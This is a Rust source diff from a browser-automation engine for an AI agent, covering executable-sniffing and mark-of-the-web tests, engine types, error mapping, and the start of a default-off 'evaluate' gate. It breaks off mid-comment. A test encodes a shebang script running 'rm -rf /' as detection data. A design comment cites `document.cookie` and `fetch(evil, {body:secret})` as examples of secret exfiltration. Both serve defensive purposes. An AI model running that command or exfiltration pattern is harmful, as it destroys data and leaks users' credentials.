let ws = Path::new("/some/companion/workspace");
let dl = download_dir(ws);
assert!(dl.ends_with("downloads"));
assert!(dl.starts_with("/some/companion/workspace"));
// 绝不是用户 Downloads / Home:只在传入 workspace 下拼子目录。
assert_eq!(dl, ws.join("downloads"));
}
// ── [纯逻辑] data:URL 可执行内容嗅探(SD-3)──────────────────────────────────
#[test]
fn sniff_is_executable_detects_elf_magic() {
// ELF: 7F 45 4C 46 + some padding
let elf_bytes = [0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00];
assert!(sniff_is_executable(&elf_bytes));
}
#[test]
fn sniff_is_executable_detects_pe_mz_magic() {
// PE/DOS: "MZ" = 4D 5A
let pe_bytes = [0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00];
assert!(sniff_is_executable(&pe_bytes));
}
#[test]
fn sniff_is_executable_detects_macho_variants() {
// Mach-O 64-bit little-endian (most common on modern macOS)
assert!(sniff_is_executable(&[0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 0x01]));
// Mach-O 32-bit big-endian
assert!(sniff_is_executable(&[0xFE, 0xED, 0xFA, 0xCE, 0x00, 0x00, 0x00, 0x02]));
// Mach-O 64-bit big-endian
assert!(sniff_is_executable(&[0xFE, 0xED, 0xFA, 0xCF, 0x00, 0x00, 0x00, 0x02]));
// Mach-O 32-bit little-endian
assert!(sniff_is_executable(&[0xCE, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 0x01]));
// Universal/Fat binary
assert!(sniff_is_executable(&[0xCA, 0xFE, 0xBA, 0xBE, 0x00, 0x00, 0x00, 0x02]));
}
#[test]
fn sniff_is_executable_detects_shebang() {
// Shell script shebang: "#!"
assert!(sniff_is_executable(b"#!/bin/bash\n"));
assert!(sniff_is_executable(b"#!/usr/bin/env python3\n"));
assert!(sniff_is_executable(b"#!"));
}
#[test]
fn sniff_is_executable_returns_false_for_benign_content() {
// Plain text
assert!(!sniff_is_executable(b"hello world"));
// PDF
assert!(!sniff_is_executable(b"%PDF-1.4"));
// PNG
assert!(!sniff_is_executable(&[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]));
// JPEG
assert!(!sniff_is_executable(&[0xFF, 0xD8, 0xFF, 0xE0]));
// Empty
assert!(!sniff_is_executable(&[]));
// Single byte
assert!(!sniff_is_executable(&[0x7F]));
}
#[test]
fn data_url_executable_without_extension_is_caught() {
use base64::Engine as _;
// ── ELF binary as base64 data: URL (no filename extension in download) ──
let elf_magic: &[u8] = &[0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00];
let elf_b64 = base64::engine::general_purpose::STANDARD.encode(elf_magic);
let elf_url = format!("data:application/octet-stream;base64,{elf_b64}");
assert!(
data_url_is_executable(&elf_url),
"ELF binary in data: URL must be detected as executable"
);
// ── PE/MZ binary as base64 data: URL ──
let pe_magic: &[u8] = &[0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00];
let pe_b64 = base64::engine::general_purpose::STANDARD.encode(pe_magic);
let pe_url = format!("data:application/octet-stream;base64,{pe_b64}");
assert!(
data_url_is_executable(&pe_url),
"PE/MZ binary in data: URL must be detected as executable"
);
// ── Shebang script as base64 data: URL ──
let script = b"#!/bin/bash\nrm -rf /\n";
let script_b64 = base64::engine::general_purpose::STANDARD.encode(script);
let script_url = format!("data:text/plain;base64,{script_b64}");
assert!(
data_url_is_executable(&script_url),
"shebang script in data: URL must be detected as executable"
);
// ── Benign text content → must NOT be flagged ──
let benign = b"hello world, this is safe text content";
let benign_b64 = base64::engine::general_purpose::STANDARD.encode(benign);
let benign_url = format!("data:text/plain;base64,{benign_b64}");
assert!(
!data_url_is_executable(&benign_url),
"benign text in data: URL must NOT be flagged as executable"
);
// ── Non-data: URL → always false ──
assert!(!data_url_is_executable("https://example.com/malware.exe"));
assert!(!data_url_is_executable("file:///tmp/something"));
assert!(!data_url_is_executable(""));
}
#[test]
fn data_url_executable_percent_encoded() {
// ELF magic as percent-encoded (no ;base64 flag)
// 7F 45 4C 46 02 01 01 00 → %7F%45%4C%46%02%01%01%00
let elf_pct = "data:application/octet-stream,%7F%45%4C%46%02%01%01%00%00%00%00%00%00%00%00%00";
assert!(
data_url_is_executable(elf_pct),
"percent-encoded ELF in data: URL must be detected"
);
// Benign percent-encoded text
let benign_pct = "data:text/plain,hello%20world";
assert!(
!data_url_is_executable(benign_pct),
"benign percent-encoded text must NOT be flagged"
);
}
#[test]
fn data_url_malformed_returns_false() {
// No comma → malformed
assert!(!data_url_is_executable("data:application/octet-stream;base64"));
// Invalid base64 → can't decode → false
assert!(!data_url_is_executable("data:;base64,!!!!not-valid-base64!!!!"));
// Empty payload
assert!(!data_url_is_executable("data:text/plain,"));
assert!(!data_url_is_executable("data:;base64,"));
}
// ── [纯逻辑+真 FS] MOTW 写入(仅 windows 真写 ADS;其它平台空实现也跑通)──────
#[cfg(windows)]
#[test]
fn write_motw_creates_zone_identifier_ads_on_ntfs() {
// 在临时目录建一个真文件,写 MOTW,再读回那个 ADS 流校验内容。
// 注:临时目录一般在 NTFS(C: 卷);FAT32/exFAT 无 ADS 会失败——本机 Windows 临时目录是 NTFS。
let dir = std::env::temp_dir().join("nomifun-motw-test");
std::fs::create_dir_all(&dir).unwrap();
let f = dir.join(format!("dl-{}.pdf", std::process::id()));
std::fs::write(&f, b"%PDF-1.4 fake").unwrap();
write_motw(&f).expect("write_motw should succeed on NTFS temp dir");
// 读回 Zone.Identifier ADS 流,断言含 ZoneId=3。
let ads = format!("{}:Zone.Identifier", f.display());
let got = std::fs::read_to_string(&ads).expect("Zone.Identifier ADS should exist");
assert!(got.contains("[ZoneTransfer]"), "ADS content: {got:?}");
assert!(got.contains("ZoneId=3"), "ADS content: {got:?}");
// 清理(删主文件即连带删其 ADS)。
let _ = std::fs::remove_file(&f);
}
// ── macOS:write_motw 真写 com.apple.quarantine(Gatekeeper 的 MOTW 等价)──────────
#[cfg(target_os = "macos")]
#[test]
fn write_motw_sets_quarantine_xattr_on_macos() {
use std::os::unix::ffi::OsStrExt;
let dir = std::env::temp_dir().join("nomifun-motw-test-macos");
std::fs::create_dir_all(&dir).unwrap();
let f = dir.join(format!("dl-{}.pdf", std::process::id()));
std::fs::write(&f, b"%PDF-1.4 fake").unwrap();
write_motw(&f).expect("write_motw should set com.apple.quarantine on a real file");
// 读回 com.apple.quarantine xattr,断言形态 `0081;<hex>;NomiFun;`。
let c_path = std::ffi::CString::new(f.as_os_str().as_bytes()).unwrap();
let c_name = std::ffi::CString::new("com.apple.quarantine").unwrap();
// 先取长度,再读值。
let len = unsafe {
libc::getxattr(c_path.as_ptr(), c_name.as_ptr(), std::ptr::null_mut(), 0, 0, 0)
};
assert!(len > 0, "com.apple.quarantine should exist (getxattr len={len})");
let mut buf = vec![0u8; len as usize];
let got = unsafe {
libc::getxattr(
c_path.as_ptr(),
c_name.as_ptr(),
buf.as_mut_ptr() as *mut libc::c_void,
buf.len(),
0,
0,
)
};
assert_eq!(got, len, "getxattr value read should match length");
let value = String::from_utf8_lossy(&buf).to_string();
assert!(value.starts_with("0081;"), "quarantine flags should mark web download: {value:?}");
assert!(value.contains("NomiFun"), "quarantine agent should be NomiFun: {value:?}");
let _ = std::fs::remove_file(&f);
}
// ── Linux/其它 Unix:write_motw 是 no-op(无 quarantine 等价),任意路径返 Ok ─────────
#[cfg(all(not(windows), not(target_os = "macos")))]
#[test]
fn write_motw_is_noop_on_linux() {
// linux:空实现,对任意路径返回 Ok(不真写)。
let p = Path::new("/tmp/whatever-nonexistent.pdf");
assert!(write_motw(p).is_ok());
}
}
@@ -0,0 +1,426 @@
//! Platform-neutral engine types + the `BrowserEngine` trait every browser
//! backend implements. Mirrors the shape of `nomi-a11y`'s `A11yEngine`: an
//! honest `capabilities()` report, a monotonic snapshot generation, and an
//! error enum the model reads and routes around — never a panic, never a silent
//! no-op. P0 exposes only the navigate/screenshot subset; `observe`/`act` land
//! in P1+.
use std::collections::HashMap;
use std::fmt;
use async_trait::async_trait;
use serde::{Deserialize, Serialize};
use thiserror::Error;
/// Monotonic snapshot generation. A `ref` produced against one generation is
/// only valid for that generation; backends use this to reject stale references
/// instead of acting on a node that has moved or detached. (Used from P1
/// onward; defined here so the handle type lives with the engine contract.)
#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]
pub struct SnapshotGen(pub u64);
/// What the engine can actually do this session — injected into the system
/// prompt so the model knows its real abilities up front.
#[derive(Clone, Debug, Default)]
pub struct Capabilities {
/// A managed Chromium is launched and the CDP transport is connected.
pub browser_ready: bool,
/// Running with a visible window (vs. headless).
pub headful: bool,
/// A display is available for headful rendering/screenshots.
pub display_available: bool,
/// Engine identifier, e.g. `"chromium"`.
pub engine: String,
}
/// The outcome of a `navigate`: the URL the page actually settled on (after
/// redirects), the main-frame HTTP status when known, and the load state the
/// navigation reached.
#[derive(Clone, Debug)]
pub struct NavResult {
pub final_url: String,
pub http_status: Option<u16>,
pub redirected: bool,
pub load_state: LoadState,
}
/// 一次导航实际达到的生命周期里程碑(D2 由 P0 的弱类型字符串升级为强枚举)。
///
/// 语义阶梯(由浅入深,模型据此判断「页面就绪到什么程度」):
/// - [`LoadState::Commit`]:文档刚提交(导航开始、收到主响应),DOM 还没构建。罕见地作为
/// 返回值——多见于「navigate 回包成功但连 DOMContentLoaded 都没等到就降级」的兜底。
/// - [`LoadState::DomContentLoaded`]:`Page.domContentEventFired`(DOM 树构建完,脚本可跑),
/// 但子资源(图片/样式/异步 fetch)可能还在加载。
/// - [`LoadState::Load`]:`Page.loadEventFired`(含子资源的 `load` 事件已触发)。**D2 的稳态默认**
/// ——settle + 可交互探测在此之上做 best-effort 加强。
/// - [`LoadState::NetworkIdle`]:在 `Load` 之上**额外**等到「无 inflight 请求持续 500ms」。仅当
/// networkidle 短 cap(3-5s)内真的达到才返回此值;长轮询/SSE/WS 站永不 idle → 到 cap 降级回
/// `Load`(**绝不**并入 30s 导航超时,见 [`crate::nav`])。
///
/// serde 为 snake_case(`"commit"`/`"domcontentloaded"`/`"load"`/`"networkidle"`),与 PW 的
/// `LifecycleEvent` 命名对齐,便于跨语言契约 / 提示词文案。`Display` 同此(facade 拼「load state:
/// {}」时用)。
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum LoadState {
/// 文档已提交(导航开始 / 主响应到达),DOM 未构建。
Commit,
/// `Page.domContentEventFired`:DOM 构建完,子资源可能未就绪。
#[serde(rename = "domcontentloaded")]
DomContentLoaded,
/// `Page.loadEventFired`:含子资源的 `load` 已触发(D2 稳态默认)。
Load,
/// `Load` 之上额外达成「无 inflight 持续 500ms」(短 cap 内才返回此值)。
#[serde(rename = "networkidle")]
NetworkIdle,
}
impl fmt::Display for LoadState {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
let s = match self {
LoadState::Commit => "commit",
LoadState::DomContentLoaded => "domcontentloaded",
LoadState::Load => "load",
LoadState::NetworkIdle => "networkidle",
};
f.write_str(s)
}
}
/// Options for a single `observe`. `Default` is the model-friendly baseline:
/// depth-capped (so a huge page can't blow the token budget), injected-side diff
/// on, and no screenshot (screenshots go through the dedicated `screenshot`
/// action).
#[derive(Clone, Debug)]
pub struct ObserveOpts {
/// depth 封顶,防超大页爆 token。默认 12。
pub max_depth: u32,
/// 启用注入侧 track diff(重注/导航后首帧全量)。默认 true。
pub diff: bool,
/// observe 是否附带(脱敏)截图。默认 false(截图走独立 screenshot 动作)。
pub include_screenshot: bool,
/// **P7B: 是否顺带采集每个可点击 ref 的几何**(`getBoundingClientRect`,CSS 像素)。默认 false
/// (零额外 CDP 开销、零行为变化)。`true` → backend 在 observe 时多发**一次**注入侧批量查询,
/// 把 ref→框写入 [`Observation::boxes`],供 facade 的 SoM(Set-of-Marks)编号 overlay 用。
pub include_boxes: bool,
}
impl Default for ObserveOpts {
fn default() -> Self {
Self {
max_depth: 12,
diff: true,
include_screenshot: false,
include_boxes: false,
}
}
}
/// ref 表对 LLM 的投影项。每项是一个可被 `act` 引用的元素:`ref` 是稳定句柄
/// (`f<seq>e<n>`,frame-local),加上人读的 role/name 与所属帧序号。
#[derive(Clone, Debug)]
pub struct ElementEntry {
pub r#ref: String,
pub role: String,
pub name: String,
pub frame_seq: u32,
}
/// **P7B: 一个可点击元素的包围盒,CSS 像素**(视口相对、零 DPR),由活节点的
/// `getBoundingClientRect()` 产出。仅当 [`ObserveOpts::include_boxes`] 时于 observe 期按 `ref`
/// 采集,写入 [`Observation::boxes`],供 facade 的 SoM(Set-of-Marks)overlay 在截图上给可点击元素
/// 编号。CSS 像素(× `devicePixelRatio` → 截图的设备/图像像素)。**当前仅主帧**(`frame_seq == 0`):
/// 子帧的 rect 是帧内坐标、需叠加 iframe 偏移才能对齐顶层截图(方案②,暂缓)。
#[derive(Clone, Copy, Debug, PartialEq)]
pub struct CssRect {
pub x: f64,
pub y: f64,
pub width: f64,
pub height: f64,
}
/// 一次 `observe` 的产物:序列化给 LLM 的 aria YAML + 配套的 ref 表 + 出处/封顶元信息。
#[derive(Clone, Debug)]
pub struct Observation {
pub generation: SnapshotGen,
/// `<data>` 包裹后的 aria YAML。
pub yaml: String,
pub entries: Vec<ElementEntry>,
/// origin provenance(这次 observe 看的是哪个 URL)。
pub url: Option<String>,
/// depth 封顶触发(页面更深的节点被丢弃)。
pub truncated: bool,
/// 当前页是否来自 POST 表单提交(`transitionType == form_submit`)。
/// reload 此类页面会重新提交表单(重复下单/扣款/发消息),facade 据此升 Irreversible。
/// best-effort:nav-history 查不到 → `false`(保守不误判普通页)。
pub current_page_is_post: bool,
/// **P7B: 主帧可点击元素的 ref→CSS 像素包围盒**(仅当 [`ObserveOpts::include_boxes`],否则空)。
/// 供 facade 的 SoM overlay 编号用。`HashMap` 便于按 `ref` 查框;空 map = 未采集(零行为变化)。
pub boxes: HashMap<String, CssRect>,
}
/// Errors are data the model reads and routes around — never a panic, never a
/// silent no-op. Started as the P0 subset (navigate/screenshot); P2 extends it
/// with DESIGN §22's action-layer taxonomy. Progress-layer timeout/abort
/// (`progress.rs`) is mapped into these at the action boundary via
/// [`crate::errmap::map_progress_err`] — never surfaced raw.
#[derive(Error, Debug)]
pub enum BrowserError {
#[error("unsupported capability {capability}: {hint}")]
Unsupported { capability: String, hint: String },
#[error("browser session lost (recoverable={recoverable})")]
SessionLost { recoverable: bool },
#[error("blocked: {reason}")]
Blocked { reason: String },
#[error("navigation failed: {kind}")]
NavFailed { kind: String },
#[error("node stale (generation={generation})")]
NodeStale { generation: u64 },
#[error("node not connected")]
NotConnected,
// ── §22 taxonomy(动作层):超时分相位、target/frame 生命周期、导航打断 ──
/// 受控操作未在 deadline 内完成。`phase` 记录是哪一相(导航/动作/网络空闲),让模型
/// 区分「页面没加载完」与「某次点击/输入卡住」。Progress `Timeout` 经
/// [`crate::errmap::map_progress_err`] 映射到此。
#[error("operation timeout ({phase:?})")]
Timeout { phase: NavPhase },
/// 渲染进程崩了(标签页 crash)。语义上可重开新 target 恢复,但崩溃本身是确定事件。
#[error("target crashed")]
TargetCrashed,
/// target(标签页/page)被关闭——后续对它的操作都没有意义。Progress
/// `Aborted(PageClosed)` 映射到此。
#[error("target closed")]
TargetClosed,
/// 进行中的导航被一次**新**导航打断(旧操作的承诺作废)。Progress
/// `Aborted(Cancelled)`(主动/父取消)映射到此。
#[error("navigation interrupted by a new navigation")]
NavigationInterrupted,
/// frame 或 node 从树上 detach 了,引用失效。Progress `Aborted(FrameDetached)`
/// 映射到 `Detached{kind: Frame}`。
#[error("{kind:?} detached")]
Detached { kind: DetachKind },
#[error("{0}")]
Other(String),
}
/// 超时所处的相位。让 [`BrowserError::Timeout`] 携带「是哪一步没完成」而非笼统超时,
/// 模型据此选择重试策略(导航重试 vs. 动作重定位 vs. 放宽网络空闲判定)。
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum NavPhase {
/// 导航本身(Page.navigate → 文档开始加载)。
Nav,
/// 一次具体动作(点击/输入/滚动等 actionability + 执行)。
Action,
/// 等网络空闲(SPA 软导航 / 异步加载后的稳定点)。
NetworkIdle,
}
/// detach 的对象:整帧还是单个节点。区分让 [`BrowserError::Detached`] 的下游处理更精确
/// (帧 detach 通常要重新 observe 整页;节点 detach 多半只需重定位该元素)。
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum DetachKind {
/// frame 从父文档 detach。
Frame,
/// 单个 DOM node 从树上 detach。
Node,
}
/// **引擎并发契约(DESIGN §22)**:每个 [`BrowserEngine`] 实现**必须**在单个引擎实例上把 `observe`
/// 与 `act`/`navigate`/`screenshot` 串行化——快照绝不与改 DOM 的动作交错(否则交回模型陈旧 `ref`)。
/// 后端用一把引擎内 per-engine mutex(跨每个操作体持有)实现。facade 仍报 `is_concurrency_safe == false`
/// (调度器也串行),但正确性**不再依赖**它——并发调用方也无法交错 observe/act。并发只在**不同引擎**
/// (各自 Chrome 进程)之间,绝不在单引擎内。本常量令该契约被代码引用并由测试钉死。
pub const OBSERVE_ACT_MUTEX_IS_ENGINE_ENFORCED: bool = true;
/// The contract every browser backend implements. Async because the CDP
/// transport is async end-to-end; `Send + Sync` so it can be shared across the
/// tool facade and the progress/abort machinery.
///
/// **并发契约(DESIGN §22)**:实现必须在单引擎实例上串行化 `observe` 与
/// `act`/`navigate`/`screenshot`(引擎内 per-engine mutex,见
/// [`OBSERVE_ACT_MUTEX_IS_ENGINE_ENFORCED`]);正确性不依赖 `is_concurrency_safe`。
/// 并发跨不同引擎实现,绝不在单引擎内。
#[async_trait]
pub trait BrowserEngine: Send + Sync {
/// Honest report of what this session can do.
fn capabilities(&self) -> Capabilities;
/// Navigate to `url`, optionally in a new tab, and return where the page
/// settled once the navigation reached a load state.
async fn navigate(&self, url: &str, new_tab: bool) -> Result<NavResult, BrowserError>;
/// Capture a screenshot of the current page as PNG bytes.
async fn screenshot(&self) -> Result<Vec<u8>, BrowserError>;
/// Serialize the **fully-rendered** DOM of the current page to raw HTML
/// (`document.documentElement.outerHTML`) — i.e. the post-JS markup the user
/// would see, including content injected by client-side scripts that a plain
/// HTTP GET never executes.
///
/// **Why this is NOT `act(GetPageText)` / `Extract`** (the P3-K2 X6 finding):
/// those action products are LLM-facing — they `redact` page secrets (lossily,
/// irreversibly), wrap the text in `<data origin="…">` anti-injection
/// delimiters, and prefix a human-readable note. That hardening is correct for
/// feeding an agent but **corrupts a knowledge snapshot** (redaction
/// placeholders + `<data>` tags + lost title/markdown structure). This method
/// returns the *un-transformed* rendered HTML so the knowledge layer can run it
/// through its own HTML→markdown converter (identical pipeline to the HTTP
/// fetcher), keeping snapshots clean. It is **read-only** (no DOM mutation), so
/// it carries no irreversible side effect and needs no approval gate.
///
/// Callers that want JS-rendered text should `navigate` first (which settles to
/// a load state) and then read this. Backends that cannot serialize the DOM
/// return [`BrowserError::Unsupported`].
async fn rendered_html(&self) -> Result<String, BrowserError>;
/// Observe the current page: serialize its accessibility tree to aria YAML
/// (`<data>`-wrapped) plus a `ref` table the model can act against. P1.
async fn observe(&self, opts: &ObserveOpts) -> Result<Observation, BrowserError>;
/// Execute a single action against the current page and report its effect.
/// The action references elements by the `ref` handles `observe` projected.
/// `progress` carries the deadline/abort scope (see [`crate::progress`]).
/// P2; real execution lands in Stage B/C (the CDP backend currently stubs
/// this as [`BrowserError::Unsupported`]).
async fn act(
&self,
spec: &crate::actions::ActSpec,
progress: &crate::progress::Progress,
) -> Result<crate::actions::ActResult, BrowserError>;
/// **调试缓冲快照**(per-tab console/errors/network)。返回当前 active tab 的三个缓冲的
/// clone 快照。供 `GetConsoleLogs`/`GetPageErrors`/`GetNetworkLog` 动作 + 集成测试用。
/// 后端未实现 → `Unsupported`。
async fn debug_snapshot(
&self,
) -> Result<crate::debug_capture::DebugSnapshot, BrowserError>;
/// **Takeover seam: bring the browser window to the foreground.**
///
/// Headful + display → foreground the window (CDP `Page.bringToFront` +
/// `Target.activateTarget`). Headless or no display → `Unsupported` (the caller
/// maps this to `TakeoverResolution::Unavailable`).
///
/// Default impl returns `Unsupported` for backends that don't support it.
async fn bring_to_front(&self) -> Result<(), BrowserError> {
Err(BrowserError::Unsupported {
capability: "takeover".into(),
hint: "bring_to_front not supported by this backend".into(),
})
}
/// **P7B: Visual fallback point-click seam.** Click at absolute CSS-pixel
/// coordinates (zero DPR — the caller has already divided by devicePixelRatio).
///
/// Used by the visual fallback path when DOM/aria anchoring fails and a vision
/// model returns a coordinate target. The engine dispatches `mousePressed` +
/// `mouseReleased` at the given point (same as `click_at` on the CDP backend).
///
/// Default impl returns `Unsupported` for backends that don't implement it.
async fn click_at_css_point(&self, x: f64, y: f64) -> Result<(), BrowserError> {
let _ = (x, y);
Err(BrowserError::Unsupported {
capability: "click_at_css_point".into(),
hint: "point-click not supported by this backend".into(),
})
}
/// **P7B: report the active page's `window.devicePixelRatio`.** The visual-fallback path
/// uses it to convert vision-model device/image-pixel coordinates into the engine's
/// DPR-free CSS-pixel input space (`to_css_point(px, py, dpr)`). Default `Ok(1.0)` —
/// correct for headless Chrome (which defaults to DPR=1.0); the CDP backend overrides it
/// via `Runtime.evaluate("window.devicePixelRatio")`. Best-effort: a query failure should
/// be treated as `1.0` by the caller (never block a click on a DPR probe).
async fn device_pixel_ratio(&self) -> Result<f64, BrowserError> {
Ok(1.0)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn snapshot_gen_monotonic() {
let a = SnapshotGen(1);
let b = SnapshotGen(2);
assert!(b.0 > a.0);
}
#[test]
fn observe_act_mutual_exclusion_is_engine_enforced_contract() {
// 钉死 DESIGN §22:observe⊥act 由**引擎**(而非调用方)保证。CdpBackend 以 op_mutex 实现。
assert!(super::OBSERVE_ACT_MUTEX_IS_ENGINE_ENFORCED);
}
#[test]
fn browser_error_unsupported_carries_hint() {
let e = BrowserError::Unsupported {
capability: "evaluate".into(),
hint: "feature off".into(),
};
assert!(format!("{e}").contains("evaluate"));
}
#[test]
fn observe_opts_default_is_capped_diff_on_no_screenshot() {
let o = ObserveOpts::default();
assert_eq!(o.max_depth, 12);
assert!(o.diff);
assert!(!o.include_screenshot);
}
#[test]
fn observation_is_clone_debug() {
let obs = Observation {
generation: SnapshotGen(1),
yaml: "<data></data>".into(),
entries: vec![],
url: None,
truncated: false,
current_page_is_post: false,
boxes: HashMap::new(),
};
let _ = format!("{:?}", obs.clone());
}
// ── D2:LoadState 强枚举 serde round-trip + Display(snake_case,与 PW 命名对齐)──
#[test]
fn load_state_serde_snake_case_roundtrip() {
// 每个变体 serde 到约定 snake_case 串,再 round-trip 回来。
for (variant, wire) in [
(LoadState::Commit, "commit"),
(LoadState::DomContentLoaded, "domcontentloaded"),
(LoadState::Load, "load"),
(LoadState::NetworkIdle, "networkidle"),
] {
let json = serde_json::to_string(&variant).unwrap();
assert_eq!(json, format!("\"{wire}\""), "serialize {variant:?}");
let back: LoadState = serde_json::from_str(&json).unwrap();
assert_eq!(back, variant, "round-trip {variant:?}");
}
}
#[test]
fn load_state_display_matches_wire() {
// Display 与 serde 串一致(facade 拼「load state: {}」用 Display)。
assert_eq!(LoadState::Commit.to_string(), "commit");
assert_eq!(LoadState::DomContentLoaded.to_string(), "domcontentloaded");
assert_eq!(LoadState::Load.to_string(), "load");
assert_eq!(LoadState::NetworkIdle.to_string(), "networkidle");
}
#[test]
fn nav_result_carries_strongly_typed_load_state() {
// NavResult.load_state 现为 LoadState(非 String);构造 + Debug 通。
let nav = NavResult {
final_url: "https://example.com/".into(),
http_status: Some(200),
redirected: false,
load_state: LoadState::NetworkIdle,
};
assert_eq!(nav.load_state, LoadState::NetworkIdle);
assert!(format!("{nav:?}").contains("NetworkIdle"));
}
}
@@ -0,0 +1,98 @@
//! 边界错误映射:把 [`crate::progress`] 的取消/超时(`ProgressError`)翻译成引擎层
//! 可路由的 [`BrowserError`](§22 taxonomy)。
//!
//! 设计与 [`crate::backend::cdp::map_transport_err`] 同形:**集中、穷尽(无 `_`)、绝不
//! panic**。`progress.rs` 故意与 `BrowserError` 解耦(`ProgressError` 自成一体),所以两层
//! 的语义缝合放在这里——动作层(act/actionability,后续任务)在把受控操作的取消结果上抛给
//! 引擎调用方时,经本映射统一成 `BrowserError`,让模型读到精确分类而非裸取消。
//!
//! 穷尽 match(不写 `_`):progress.rs 给 `AbortReason` 新增变体时编译期就逼我们在这里补
//! 语义,而非静默归入 `Other`。
use crate::engine::{BrowserError, DetachKind, NavPhase};
use crate::progress::{AbortReason, ProgressError};
/// 把 Progress 的取消/超时映射到引擎错误(动作层边界,仿
/// [`crate::backend::cdp::map_transport_err`])。**绝不 panic**;穷尽 match。
///
/// - `Timeout` → `Timeout{phase: Action}`(受控操作没在 deadline 内完成;动作层语义)。
/// - `Aborted(PageClosed)` → `TargetClosed`(page 关闭 → 该 target 没了)。
/// - `Aborted(FrameDetached)` → `Detached{kind: Frame}`(frame detach → 帧没了)。
/// - `Aborted(Cancelled)` → `NavigationInterrupted`(主动/父取消,多见于新导航打断旧操作)。
/// - `Aborted(Other(m))` → `Other(m)`(自由文本取消原因,原样透传供诊断)。
pub fn map_progress_err(e: ProgressError) -> BrowserError {
match e {
ProgressError::Timeout => BrowserError::Timeout {
phase: NavPhase::Action,
},
ProgressError::Aborted(AbortReason::PageClosed) => BrowserError::TargetClosed,
ProgressError::Aborted(AbortReason::FrameDetached) => BrowserError::Detached {
kind: DetachKind::Frame,
},
ProgressError::Aborted(AbortReason::Cancelled) => BrowserError::NavigationInterrupted,
ProgressError::Aborted(AbortReason::Other(m)) => BrowserError::Other(m),
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::progress::{AbortReason, ProgressError};
#[test]
fn map_progress_err_classifies() {
assert!(matches!(
map_progress_err(ProgressError::Aborted(AbortReason::PageClosed)),
BrowserError::TargetClosed
));
assert!(matches!(
map_progress_err(ProgressError::Aborted(AbortReason::FrameDetached)),
BrowserError::Detached {
kind: DetachKind::Frame
}
));
assert!(matches!(
map_progress_err(ProgressError::Timeout),
BrowserError::Timeout {
phase: NavPhase::Action
}
));
}
#[test]
fn map_progress_err_cancelled_and_other() {
// Cancelled(主动/父取消)→ NavigationInterrupted。
assert!(matches!(
map_progress_err(ProgressError::Aborted(AbortReason::Cancelled)),
BrowserError::NavigationInterrupted
));
// Other(m) 原样透传原因。
match map_progress_err(ProgressError::Aborted(AbortReason::Other("custom".into()))) {
BrowserError::Other(m) => assert_eq!(m, "custom"),
other => panic!("expected Other, got {other:?}"),
}
}
#[test]
fn new_error_variants_display_carry_semantics() {
assert!(format!(
"{}",
BrowserError::Timeout {
phase: NavPhase::NetworkIdle
}
)
.contains("timeout"));
assert!(format!(
"{}",
BrowserError::Detached {
kind: DetachKind::Frame
}
)
.to_lowercase()
.contains("detach"));
let _ = (
BrowserError::TargetCrashed,
BrowserError::NavigationInterrupted,
);
}
}
@@ -0,0 +1,366 @@
//! **E3:evaluate 门控**(默认 OFF + opt-in「全权模式」+ 与持久登录互斥 + 强审计脱敏)。
//!
//! DESIGN §16「evaluate」行 + P2 裁决⑨。evaluate(在页面上下文跑任意 JS)是引擎能力里**最高危**的
//! 逃生舱——一句 `document.cookie` / `fetch(evil, {body:secret})` 就能整体绕过 aria-snapshot 脱敏、
//! 出口防火墙、secret 域绑定等所有下游防线。故它是**默认最高门控**:
//!
//! 1. **默认 evaluate OFF**:`act(Evaluate{script})` 默认返 [`BrowserError::Unsupported`]
//! `{capability:"evaluate", hint:<讲清为何 off + 怎么开>}`([`evaluate_off_error`])。这是
//! default-deny:没有任何 session 默认能跑 evaluate。
//!
//! 2. **opt-in「全权模式」**(full-power / unrestricted mode):用户**显式** opt-in 的配置开关
//! ([`EvaluateGate::full_power`],**LIVE 读**——参考 `nomifun-ai-agent::factory::nomi::read_bool_pref`
//! 的 `client_preferences` 范式;E3 是引擎层纯逻辑门,实际 LIVE 读接线在 services.rs / F 阶段,见
//! [`EvaluateGate`] 的 `TODO(F1-wire-live-read)`)。仅当全权显式开启,evaluate 才放行。
//!
//! 3. **与持久登录互斥(关键安全)**:全权模式与「持久登录」(persistent login,P6 才落地,见
//! DESIGN §27「持久登录默认策略(未决)」+ §16「持久登录前置」行明文「**禁 evaluate**」)
//! **互斥**——两者同时开 → 返错([`BrowserError::Blocked`],讲清互斥原因)。持久登录会话灌着真实
//! 长期登录态,再放开任意 JS = 把长期凭据暴露给逃生舱;故持久登录开启时 evaluate **强制封死**
//! (即便全权也被互斥拦下)。判定是纯函数 [`check_full_power_eligible`]。
//!
//! 4. **yolo 不豁免**:yolo / companion 会话**不**自动开 evaluate——evaluate 的放行**只看全权开关**,
//! **绝不看 `SessionMode`**。这呼应裁决⑧的不变量⑧「红线不靠被旁路的 orchestration 闸」:yolo /
//! companion 旁路的是 orchestration 审批闸(orchestration.rs:271 / lib.rs:100 / companion.rs:281),
//! 而 evaluate 走的是本模块这道**独立**门——它不读 session_mode,故 yolo 无从豁免。本模块的任何 API
//! 都**不**接受 session_mode 入参(类型层杜绝「被 yolo 旁路」)。
//!
//! 5. **强审计脱敏**:全权模式放行 evaluate 时记一条醒目 `tracing::warn` 审计日志——但 **script 可能
//! 含敏感内容**(`document.cookie` / token),审计**只记摘要**([`script_audit_summary`]:字符长度 +
//! **脱敏后**的短前缀),**绝不**记全文。前端醒目展示留 **P3**(DESIGN §16「前端醒目」+ 裁决⑨「前端
